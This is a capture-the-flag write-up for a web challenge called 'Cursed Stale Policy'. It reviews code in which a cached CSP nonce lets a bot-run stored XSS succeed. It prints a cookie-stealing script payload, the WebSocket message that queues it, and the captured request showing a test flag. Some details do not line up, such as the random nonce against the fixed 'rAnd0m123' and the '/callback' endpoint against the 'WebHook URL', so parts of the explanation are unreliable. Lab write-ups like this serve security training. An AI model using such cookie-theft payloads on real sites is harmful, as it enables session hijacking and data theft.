Cursed Stale Policy
Challenge Description
Spying time. Check what all users have been up to with this Challenge recently.
Challenge Overview
In this web challenge, the web application includes functionality that leverages user-provided inputs and interacts with a bot to validate and process specific behaviors. Upon navigating the application, we observe a page with the ability to send inputs that are reflected within the application context. Additionally, a Content Security Policy (CSP) header is enforced to prevent certain classes of script-based attacks.
A notable endpoint is /ws
, which serves as a WebSocket interface for interacting with the server. The server's functionality hints at integration with a bot that periodically processes inputs, such as scripts embedded within the application.
Code Review
Upon reviewing the source code, we identify several crucial components:
Content Security Policy (CSP)
export async function getCachedCSP() {
let cachedCSP = await redis.get("cachedCSPHeader");
if (cachedCSP) {
return cachedCSP; // TOOD: Should we cache the CSP header?
} else {
const nonce = crypto.randomBytes(16).toString("hex");
const cspWithNonce = `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'none'; report-uri /csp-report`;
await redis.set("cachedCSPHeader", cspWithNonce);
return cspWithNonce;
}
}
In the above code we see this line:
const nonce = crypto.randomBytes(16).toString("hex");
Who generates a random nonce for the first time and caches it in the Redis database. This nonce is then used in the CSP header to allow only scripts with the matching attribute to execute.
The generate nonce
value is given in the index page as shown below:
WebSocket Functionality
The WebSocket handler (websocket.js
) allows sending structured messages. Of particular interest is the trigger_xss
message type, which adds user-provided payloads to a queue for subsequent execution by the bot. This mechanism is designed to evaluate scripts and validate specific functionality.
Bot Behavior
The bot (bot.js
) operates as follows:
- Visits the
/xss
endpoint to execute XSS payloads fetched from Redis. - Includes a cookie containing the contents of
flag.txt
as aflag
value when executing scripts. - Executes the provided payload, enabling potential exfiltration of sensitive data.
These components reveal that while CSP is designed to mitigate XSS attacks, the presence of the trigger_xss
queue creates an opportunity to exploit a stored XSS vulnerability if a valid payload adheres to CSP constraints.
Exploitation
Objective
Leverage the bot's behavior to retrieve the contents of flag.txt
by bypassing the CSP.
CSP Constraints Analysis
The CSP header requires all scripts to include a nonce
attribute with the value rAnd0m123
to execute. This constraint prevents traditional inline script-based attacks but still allows exploitation if the nonce
is included in the payload.
Exploitation Steps
Step 1: Crafting the Payload
Payload:
<script nonce='rAnd0m123'>
fetch('/callback', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ cookies: document.cookie })
});
</script>
This payload who be executed by the bot and send the cookies to the /callback
endpoint. The nonce
attribute is included to bypass the CSP constraints.
Step 2: Injecting the Payload
To inject the payload, send the following WebSocket message to the /ws
endpoint:
{
"type": "trigger_xss",
"payload": "<script nonce='rAnd0m123'>fetch('/callback', {method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ cookies: document.cookie })});</script>"
}
Using Burp Suite Repeater, send this payload to the WebSocket endpoint. This message queues the payload for the bot to execute.
Step 3: Observing the Results
Once the payload is executed by the bot, the flag will be sent to the WebHook URL specified in the payload.
Example response in the WebHook site:
{
"type": "update_logs",
"payload": [
{
"method": "POST",
"headers": {
"host": "127.0.0.1:8000",
"connection": "keep-alive",
"content-length": "101",
"user-agent": "HackTheBoo/20.24 (Cursed; StalePolicy) CSPloitCrawler/1.1",
"content-type": "application/json",
"accept": "*/*",
"origin": "http://127.0.0.1:8000",
"sec-fetch-site": "same-origin",
"sec-fetch-mode": "cors",
"sec-fetch-dest": "empty",
"referer": "http://127.0.0.1:8000/xss",
"accept-encoding": "gzip, deflate, br, zstd",
"accept-language": "en-US,en;q=0.9",
"cookie": "flag=HTB{f4k3_fl4g_f0r_t35t1ng}"
},
"args": {},
"data": {
"flag": "{\"message\":\"Route GET:/flag.txt not found\",\"error\":\"Not Found\",\"statusCode\":404}"
},
"time": "2024-12-26T18:15:15.459Z"
}
]
}
We successfully retrieved the fake flag:
HTB{f4k3_fl4g_f0r_t35t1ng}
We can now use the same technique to get the real flag.
Cursed Stale Policy has been Pwned!
Congratulations
0bytes, best of luck in capturing flags ahead!